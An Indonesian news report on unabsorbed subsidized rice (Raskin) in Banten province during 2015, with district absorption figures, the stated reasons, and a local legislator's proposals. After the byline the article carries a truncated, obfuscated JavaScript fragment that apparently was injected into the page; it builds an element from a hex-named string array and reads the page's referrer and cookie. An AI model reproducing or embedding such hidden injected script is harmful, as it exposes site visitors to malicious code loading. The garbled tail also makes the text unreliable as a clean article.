SERANG – Selama tahun 2015, sekitar tiga ribu ton beras miskin (Raskin) tidak terserap di Provinsi Banten. Hal tersebut diungkapkan Sri Murtiningsih , Kasubdit Distribusi raskin dan Harga Pangan badan Ketahanan Pangan dan Penyuluhan (BKPP) Provinsi Banten.
“Secara regional untuk serapan raskin di tahun 2015 mencapai 96,46 persen dari pagu 94,712,040 kilogram raskin, yang tidak terserap sekitar tiga ribu ton,” kata Sri, Kamis, 14 Januari 2016.
Sri melanjutkan, secara presentase, dari delapan kabupaten/kota di provinsi Banten, yang serapan raskinnya mencapai 100 persen adalah Kota Serang, disusul kota Tangsel. Sedangkan yang paling kecil serapannya adalah Kabupaten Tangerang yakni hanya mencapai 59,17 persen.
Terkait penyebab banyaknya raskin yang tidak terserap, Sri menjelaskan, penyebab tidak terserapnya raskij tersebut karena banyak masyarakat yang tidak membeli beras kendati harganya cukup murah. “Ada masyarakat yang belum membayar beras bulan sebelumnya, karena malu, tidak membeli lagi, perkilo nya dihargai sebesar Rp 1600,” ungkap Sri.
Sri melanjutkan, raskin yang tidak terserap tersebut dikembalikan ke Bulog Masing-masing Sub drive dan dianggap hangus dan tidak akan ditambahkan ke pagu tahun berikutnya.
Sementara itu, Wakil Ketua Komisi V Dewan Perwakilan Rakyat Daerah (DPRD) Provinsi Banten, Yoyon Sujana mengharapkan, jika mekanisme raskin yang tidak teralokasikan dapat di berikan cuma- cuma kepada masyarakat yang sangat menbutuhkan.
“Kenapa tidak diberikan saja kepada masyarakat yang betul- betul tidak mampu. tapi jika tidak bisa diberikan cuma-cuma dan tetap harus ditebus kenapa tidak diturunkan saja melalui kabupaten/kota melalui kecamatan, desa hingga tingkat RT lalu dikasih tempo berapa hari untuk dilunasinya,” ujarnya. (Yan/Ching) t[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}
